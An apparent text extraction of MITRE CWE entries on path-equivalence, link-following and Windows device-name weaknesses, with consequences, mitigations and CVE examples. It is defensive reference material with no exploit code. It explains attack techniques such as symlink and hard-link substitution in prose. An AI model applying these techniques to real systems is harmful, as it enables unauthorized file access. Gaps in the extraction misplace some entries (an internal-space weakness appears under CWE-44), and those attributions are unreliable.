The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ChildOf |  | 162 | Improper Neutralization of Trailing Special Elements | 391 |
| ChildOf |  | 41 | Improper Resolution of Path Equivalence | 81 |
| ParentOf |  | 43 | Path Equivalence: 'filename....' (Multiple Trailing Dot) | 88 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | |

Observed Examples

CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)

Weakness ID : 43

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

A software system that accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Software Fault Patterns | SFP16 | | Path Traversal |

CWE-44: Path Equivalence: 'file.name' (Internal Dot)

Weakness ID : 44

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

A software system that accepts path input in the form of internal dot ('file.ordir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|----|---|------|
| ChildOf |  | 41 | Improper Resolution of Path Equivalence | 81 |
| ParentOf |  | 45 | Path Equivalence: 'file...name' (Multiple Internal Dot) | 89 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Files or Directories | |
| Integrity | Modify Files or Directories | |

MemberOf Relationships

Description

A software system that accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|----|---|------|
| ChildOf |  | 41 | Improper Resolution of Path Equivalence | 81 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Files or Directories | |
| Integrity | Modify Files or Directories | |

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2000-0293 | Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0293 |
| CVE-2001-1567 | "+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1567 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|-----|---------------------------------------|---|------|
| MemberOf |  | 981 | SFP Secondary Cluster: Path Traversal | 888 | 2125 |

Notes

Relationship

This weakness is likely to overlap quoting problems, e.g. the "Program Files" unquoted search path (CWE-428). It also could be an equivalence issue if filtering removes all extraneous spaces.

Relationship

Whitespace can be a factor in other weaknesses not directly related to equivalence. It can also be used to spoof icons or hide files with dangerous names (see icon manipulation and visual truncation in CWE-451).

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-------------------------|---------|-------------------|----------------------------------|

| OWASP Top Ten 2004 | A9 | CWE More Specific | Denial of Service |
| Software Fault Patterns | SFP16 | | Path Traversal |

CWE-49: Path Equivalence: 'filename/' (Trailing Slash)

Weakness ID : 49

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

A software system that accepts path input in the form of trailing slash ('filedir/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|--|-----|--|------|
| ChildOf |  | 162 | Improper Neutralization of Trailing Special Elements | 391 |
| ChildOf |  | 41 | Improper Resolution of Path Equivalence | 81 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Files or Directories | |
| Integrity | Modify Files or Directories | |

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2002-0253 | Overlaps infoleak https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0253 |
| CVE-2001-0446 | Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0446 |

CWE-51: Path Equivalence: '/multiple//internal/slash'

| | |
|------------------------------|----------------------------|
| Weakness ID : 51 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

A software system that accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|----|---|------|
| ChildOf |  | 41 | Improper Resolution of Path Equivalence | 81 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Files or Directories | |
| Integrity | Modify Files or Directories | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2002-1483 | Read files with full pathname using multiple internal slash. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1483 |

| Software Fault Patterns | SFP16 | | Path Traversal |

CWE-57: Path Equivalence: 'fakedir/./readdir/filename'

Weakness ID : 57

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software contains protection mechanisms to restrict access to 'readdir/filename', but it constructs pathnames using external input in the form of 'fakedir/./readdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Notes

Theoretical

This is a manipulation that uses an injection for one consequence (containment violation using relative path) to achieve a different consequence (equivalence by alternate name).

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-------------------------|---------|-----|--|
| PLOVER | | | dirname/fakechild/./realchild/filename |
| Software Fault Patterns | SFP16 | | Path Traversal |

CWE-58: Path Equivalence: Windows 8.3 Filename

| | |
|------------------------------|----------------------------|
| Weakness ID : 58 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software contains a protection mechanism that restricts access to a long filename on a Windows operating system, but the software does not properly restrict access to the equivalent short "8.3" filename.

Extended Description

On later Windows operating systems, a file can have a "long name" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These "8.3" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|----|---|------|
| ChildOf | E | 41 | Improper Resolution of Path Equivalence | 81 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Files or Directories | |
| Integrity | Modify Files or Directories | |

Potential Mitigations

Phase: System Configuration

Disable Windows from supporting 8.3 filenames by editing the Windows registry. Preventing 8.3 filenames will not remove previously generated 8.3 filenames.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-1999-0012 | Multiple web servers allow restriction bypass using 8.3 names instead of long names https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0012 |
| CVE-2001-0795 | Source code disclosure using 8.3 file name. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0795 |
| CVE-2005-0471 | Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0471 |

Functional Areas

- File Processing

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |

CWE-59: Improper Link Resolution Before File Access ('Link Following')

Weakness ID : 59
Structure : Simple
Abstraction : Base

Status: Draft

Description

The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Sometimes*)

Operating_System : Unix (*Prevalence = Often*)

Background Details

Soft links are a UNIX term that is synonymous with simple shortcuts on windows based platforms.

Alternate Terms

insecure temporary file : Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|--|--|------------|
| Confidentiality Integrity Access Control | Read Files or Directories Modify Files or Directories Bypass Protection Mechanism <i>An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism then an attacker may be able to bypass the mechanism.</i> | |
| Other | Execute Unauthorized Code or Commands <i>Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since a ".LNK" file can be uploaded like a normal file. This can enable remote execution.</i> | |

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-1999-1386 | Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1386 |
| CVE-2000-1178 | Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1178 |
| CVE-2004-0217 | Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0217 |
| CVE-2003-0517 | Symlink attack allows local users to overwrite files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0517 |
| CVE-2004-0689 | Window manager does not properly handle when certain symbolic links point to "stale" locations, which could allow local users to create or truncate arbitrary files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0689 |
| CVE-2005-1879 | Second-order symlink vulnerabilities https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1879 |
| CVE-2005-1880 | Second-order symlink vulnerabilities https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1880 |
| CVE-2005-1916 | Symlink in Python program https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1916 |
| CVE-2000-0972 | Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0972 |
| CVE-2005-0824 | Signal causes a dump that follows symlinks. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0824 |
| CVE-2001-1494 | Hard link attack, file overwrite; interesting because program checks against soft links https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1494 |
| CVE-2002-0793 | Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0793 |
| CVE-2003-0578 | Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0578 |
| CVE-1999-0783 | Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0783 |

| Reference | Description |
|----------------------|---|
| CVE-2004-1603 | Web hosting manager follows hard links, which allows local users to read or modify arbitrary files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1603 |
| CVE-2004-1901 | Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1901 |
| CVE-2005-1111 | Hard link race condition https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1111 |
| CVE-2000-0342 | Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment." https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0342 |
| CVE-2001-1042 | FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1042 |
| CVE-2001-1043 | FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1043 |
| CVE-2005-0587 | Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0587 |
| CVE-2001-1386 | ".LNK." - .LNK with trailing dot https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1386 |
| CVE-2003-1233 | Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1233 |
| CVE-2002-0725 | File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0725 |
| CVE-2003-0844 | Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0844 |

| MemberOf | | 1345 | OWASP Top Ten 2021 Category A01:2021 - Broken Access Control | 1344 | 2203 |

Notes

Relationship

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations. Some potential factors are race conditions, permissions, and predictability.

Research Gap

UNIX hard links, and Windows hard/soft links are under-studied and under-reported.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |

CWE-61: UNIX Symbolic Link (Symlink) Following

Weakness ID : 61

Status: Incomplete

Structure : Composite

Abstraction : Compound

Description

The software, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Composite Components

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| Requires |  | 362 | Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') | 817 |
| Requires |  | 340 | Generation of Predictable Numbers or Identifiers | 774 |
| Requires |  | 386 | Symbolic Name not Mapping to Correct Object | 868 |
| Requires |  | 732 | Incorrect Permission Assignment for Critical Resource | 1407 |

Extended Description

A software system that allows UNIX symbolic links (symlink) as part of paths whether in internal code or through user input can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read/write/corrupt a file that they originally did not have permissions to access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Files or Directories | |
| Integrity | Modify Files or Directories | |

Potential Mitigations

Phase: Implementation

Symbolic link attacks often occur when a program creates a tmp directory that stores files/ links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-1999-1386 | Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1386 |

| CVE-2000-0972 | Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0972 |
| CVE-2005-0824 | Signal causes a dump that follows symlinks. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0824 |

Notes

Research Gap

Symlink vulnerabilities are regularly found in C and shell programs, but all programming languages can have this problem. Even shell programs are probably under-reported. "Second-order symlink vulnerabilities" may exist in programs that invoke other programs that follow symlinks. They are rarely reported but are likely to be fairly common when process invocation is used. Reference: [Christey2005]

CWE-62: UNIX Hard Link

Weakness ID : 62**Status:** Incomplete**Structure :** Simple**Abstraction :** Variant

Description

The software, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-64: Windows Shortcut Following (.LNK)

Weakness ID : 64

Status: Incomplete

Structure : Simple

Abstraction : Variant**Description**

The software, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

symlink :

Likelihood Of Exploit

Low

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Files or Directories | |
| Integrity | Modify Files or Directories | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2000-0342 | Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment." |

| Reference | Description |
|----------------------|---|
| | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0342 |
| CVE-2001-1042 | FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1042 |
| CVE-2001-1043 | FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1043 |
| CVE-2005-0587 | Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0587 |
| CVE-2001-1386 | ".LNK." - .LNK with trailing dot https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1386 |
| CVE-2003-1233 | Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1233 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|-----|--|-----|------|
| MemberOf |  | 743 | CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO) | 734 | 2064 |
| MemberOf |  | 877 | CERT C++ Secure Coding Section 09 - Input Output (FIO) | 868 | 2094 |
| MemberOf |  | 980 | SFP Secondary Cluster: Link in Resource Name Resolution | 888 | 2125 |

Notes

Research Gap

Under-studied. Windows .LNK files are more "portable" than Unix symlinks and have been used in remote exploits. Some Windows API's will access LNK's as if they are regular files, so one would expect that they would be reported more frequently.

Taxonomy Mappings

CWE-65: Windows Hard Link

Weakness ID : 65

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-66: Improper Handling of File Names that Identify Virtual Resources

Weakness ID : 66

Status: Draft

Structure : Simple

Abstraction : Base

Description

The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.

Extended Description

Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CWE-67: Improper Handling of Windows Device Names

| | |
|------------------------------|---------------------------|
| Weakness ID : 67 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.

Extended Description

Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A software system that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

| ChildOf | B | 66 | Improper Handling of File Names that Identify Virtual Resources | 118 |

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Undetermined*)

Background Details

Historically, there was a bug in the Windows operating system that caused a blue screen of death. Even after that issue was fixed DOS device names continue to be a factor.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|------------------------------|------------|
| Availability | DoS: Crash, Exit, or Restart | |
| Confidentiality | Read Application Data | |
| Other | Other | |

Potential Mitigations

Phase: Implementation

Be familiar with the device names in the operating system where your system is deployed. Check input for these device names.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2002-0106 | Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0106 |
| CVE-2002-0200 | Server allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0200 |
| CVE-2002-1052 | Product allows remote attackers to use MS-DOS device names in HTTP requests to cause a denial of service or obtain the physical path of the server. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1052 |
| CVE-2001-0493 | Server allows remote attackers to cause a denial of service via a URL that contains an MS-DOS device name. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0493 |
| CVE-2001-0558 | Server allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0558 |
| CVE-2000-0168 | Microsoft Windows 9x operating systems allow an attacker to cause a denial of service via a pathname that includes file device names, aka the "DOS Device in Path Name" vulnerability. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0168 |
| CVE-2001-0492 | Server allows remote attackers to determine the physical path of the server via a URL containing MS-DOS device names. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0492 |
| CVE-2004-0552 | Product does not properly handle files whose names contain reserved MS-DOS device names, which can allow malicious code to bypass detection when it is installed, copied, or executed. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0552 |
| CVE-2005-2195 | Server allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a .cgi extension and an MS-DOS device name. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2195 |

Affected Resources

- File or Directory

